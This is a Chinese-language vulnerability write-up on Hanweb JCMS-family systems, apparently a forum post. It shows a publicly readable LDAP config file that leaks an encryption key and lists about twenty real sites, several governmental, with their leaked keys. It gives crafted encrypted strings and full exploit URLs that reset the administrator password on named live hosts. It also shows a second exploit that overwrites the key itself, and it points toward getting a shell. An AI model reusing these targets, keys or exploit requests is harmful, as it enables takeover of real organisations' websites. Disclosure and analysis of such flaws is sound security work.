第一步,大汉网络加解密说明
LDAP密钥配置文件,/interface/ldap/ldapconf.xml
获取密钥:<enckey>o3h2iB8ggnp2</enckey>
我们可以使用大汉的加解密库进行任意加解密,只要知道服务端的密钥,就可以和服务器进行通讯:
第二步,保存密钥的ldapconf.xml文件,放在了网站目录,直接可以访问:
code 区域(很简单就找到了很多密钥)http://122.224.183.4:80/jcms/interface/ldap/ldapconf.xml [123123] http://221.231.137.195/jcms/interface/ldap/ldapconf.xml [OJ9Un5JmpTfN0gJx] http://202.108.199.114:80/jcms/interface/ldap/ldapconf.xml [OJ9Un5JmpTfN0gJx] http://202.108.199.114/jcms/interface/ldap/ldapconf.xml [OJ9Un5JmpTfN0gJx] http://6bur.cscec.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2] http://cengangpcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://219.146.58.42/jcms/interface/ldap/ldapconf.xml [123123] http://cq.ea-spring.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2] http://caiyuan.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://bingmei.sdcdc.cn/jcms/interface/ldap/ldapconf.xml [uhfuXyOav5pK8hil] http://3bur.cscec.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2] http://csbj.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://changspcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://blbj.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://cz.anxiang.gov.cn/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2] http://chart.sinotrans-csc.com/jcms/interface/ldap/ldapconf.xml [t0NN3oslN3OW] http://chengdpcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://bj.clubchinachic.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2] http://dandong.xiangshan.gov.cn/jcms/interface/ldap/ldapconf.xml [123123] http://dayupcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456] http://chdj.sinotrans-csc.com/jcms/interface/ldap/ldapconf.xml [t0NN3oslN3OW]
我们拿官网,进行一下测试:
访问:http://app.hanweb.com.cn/jcms/interface/ldap/ldapconf.xml
拿到了密钥:<enckey>OJ9Un5JmpTfN0gJx</enckey>
第三步,通过密钥: OJ9Un5JmpTfN0gJx,我们构造如下几个密文:
code 区域encrypt : e2V1Z3UdA2sNaw==
decrypt : admin
encrypt : DEIBRXBGcUQOM3g0
decrypt : 123456
第四步,覆盖管理员密码为:admin - 123456
漏洞EXP:
http://app.hanweb.com.cn/jcms/interface/ldap/receive.jsp?state=C&result=T&loginuser=e2V1Z3UdA2sNaw==&loginpass=DEIBRXBGcUQOM3g0
直接登录,自动跳转到登录后台,进入后台Getshell的文章很多啦:
漏洞分析:
code 区域组件功能:
/interface/ldap/receive.jsp这个组件,是一个不同大汉系统间,同步用户的通用组件。
例如:jact系统,需要把jcms用户同步到自己的系统中。
这个组件本来就是,用于创建用户的,如果被创建的用户存在的话,就会进行更新操作,在这里直接我管理员的密码,进行了重置。分析一下参数:
loginuser=e2V1Z3UdA2sNaw==
loginpass=DEIBRXBGcUQOM3g0
就是加密后的 admin - 123456,将管理员的密码覆盖了。
源码分析:
code 区域# \interface\ldap\receive.jsp // 获取参数 String loginuser = Convert.getParameter(request,"loginuser", "", true, true); //用户名 String loginpass = Convert.getParameter(request,"loginpass", "", true, true); //密码 // 创建用户对象 Merp_Pub_UserEntity entity = new Merp_Pub_UserEntity(); entity.setVc_loginid(loginuser); entity.setVc_password(loginpass); // 验证用户是否合法 ldapBlf.checkValidate(entity); # 反编译 jcms.blf.user.LdapBLF.java // 对于传递进来的参数,进行了解密 vc_loginid = decrypt(vc_loginid, this.encrypttype); vc_pwd = decrypt(vc_pwd, this.encrypttype); // 对解密后的用户信息,插入或更新数据库信息 insertOrUpdateUser(ldapEn, groupid, 0);
漏洞证明:
新的姿势:
上面提交的重置管理员密码漏洞,是因为ldap密钥泄漏。
/interface/ldap/ldapconf.xml,直接放到了网站目录中,可以直接访问。
我在对官方demo最新版本的测试中,/interface/ldap/ldapconf.xml是无法访问的。
这样就看不到明文的密钥了,所以无法重置管理员密码了。
官方demo:http://demo.hanweb.com/jcms/
于是我又深入分析了一下,/interface/ldap/receive.jsp这个组件,发现一个惊喜。
code 区域if (state.equals("S")) { //注册应用 boolean b = ldapBlf.writeXML(appname,enckey,ldapurl,webtype,ssourl,encrypttype); }
原来这个xml的配置文件,是可以覆盖的,所以构造EXP:
http://demo.hanweb.com/jcms/interface/ldap/receive.jsp?state=S&enckey=key888
code 区域构造加解密字符串:enckey : key888 encrypt : BWcCb3FrBBh8bQ== decrypt : admin 覆盖管理员密码为:admin - admin
漏洞EXP:
http://demo.hanweb.com/jcms/interface/ldap/receive.jsp?state=C&result=T&loginuser=BWcCb3FrBBh8bQ==&loginpass=BWcCb3FrBBh8bQ==
再一次,成功登陆:
影响范围:
通过上面两种姿势,新旧版本全系统全版本保证通杀,包括:jcms,jact,jsearch,vipchat,vc,xxgk等等。
轻轻松松几千个站点,上面已经列了一些,不够的话我补充。
欢迎来到这里!
我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。
注册 关于